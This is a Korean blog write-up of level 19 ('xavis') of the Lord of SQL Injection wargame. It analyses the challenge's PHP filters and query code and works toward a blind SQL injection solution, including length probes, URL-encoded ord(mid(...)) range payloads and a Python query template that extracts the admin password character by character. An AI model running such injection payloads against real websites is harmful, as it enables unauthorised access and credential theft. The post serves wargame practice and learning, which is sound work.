일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |
- Lord of SQL Injection
- SQL i
- Union SQL Injection
- MySQL
- 2002(HY000)
- Error Based SQL Injection
- blind SQLi
- 우분투
- M2
- XAVIS
- sqli
- Kail Linux
- btmp
- mocOS
- ubuntu
- No module named ‘requests’
- los.rubiya.kr
- 가상머신 os
- LOS 5번
- Python requests 설치
- UTM
- str_replace함수
- Lord of SQLinjection
- goblin 3번
- SQLi wargame
- utmp
- sql injection
- docker compose
- ModuleNotFoundError: No module named ‘requests’
- 1819 (HY000):
- Today
- Total
klaus
[Lord of SQL Injection] xavis 19번 (feat. 한글...) 본문
0 . xavis
... 이미지가 따로 없는 듯하다 못찾음.
1. 전체 소스 코드
2. 주요 코드 분석
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/regex|like/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob_xavis where id='admin' and pw='{$_GET[pw]}'";
$query = "select pw from prob_xavis where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("xavis");
1) Preg_match 함수
/prob
_
.
( )
regex, like
필터링되고 /i를 통해 대소문자 구별을 하지 않습니다.
아직까지 다른점은 regex, like이 추가적으로 필터링 된다는 점이 있습니다.
그리고 Solve되려면 입력받은 pw가 DB에 저장된 것과 동일해야 됩니다.
즉, Blind SQLi로 문제를 풀어보겠습니다.
3. Solve
?pw=1' or length(pw)='12를 입력하였을 때, "hello admin"으로 출력되는 것을 보아 pw길이는 12로 확인하였습니다.
그리고.......
ORC 4번 문제처럼 string함수를 사용하여 여러 문자를 대입하였으나. 풀리지 않는다.
https://toriyong.tistory.com/36
아스키 함수를 모두 대입하였으나, 문제는 풀리지 않는다. 고생을 하다 찾아보니
패이로드는 ord()함수 사용해서 작성해야한다는 점
그래서 범위를 확인하였으나,?pw=1' or '1'='1' and ord(mid(pw,1,1))>'#
?pw=1%27%20or%20%271%27=%271%27%20and%20ord(mid(pw,1,1))>%27 44032에서
?pw=1%27%20or%20%271%27=%271%27%20and%20ord(mid(pw,1,1))<%27 55215 까지
범위가....11,183개를 하나씩 대입하기에는 힘들 것 같아 더 이상은 한땀한땀 작성하기에는 힘들 것 같아
파이썬을 사용하여 작성해야할 것 같습니다.
이번 문제의 중요한 키는
query=url+"?pw=' or id='admin' and ord(substr(pw,{},1))>={}%23"
사용하여 문제를 풀 수 있다.
'모의해킹 > Wargame' 카테고리의 다른 글
[Lord of SQL Injection] dragon 20번 (feat. 개행? ) (0) | 2023.01.12 |
---|---|
[Lord of SQL Injection] nightmare 18번 (feat. 주석 필터링 우회) (0) | 2023.01.01 |
[Lord of SQL Injection] zombie_assassin 17번 (0) | 2022.12.29 |
[Lord of SQL Injection] succubus 16번(feat. 싱글쿼터 우회) (0) | 2022.12.23 |
[Lord of SQL Injection] assassin 15번 (0) | 2022.12.22 |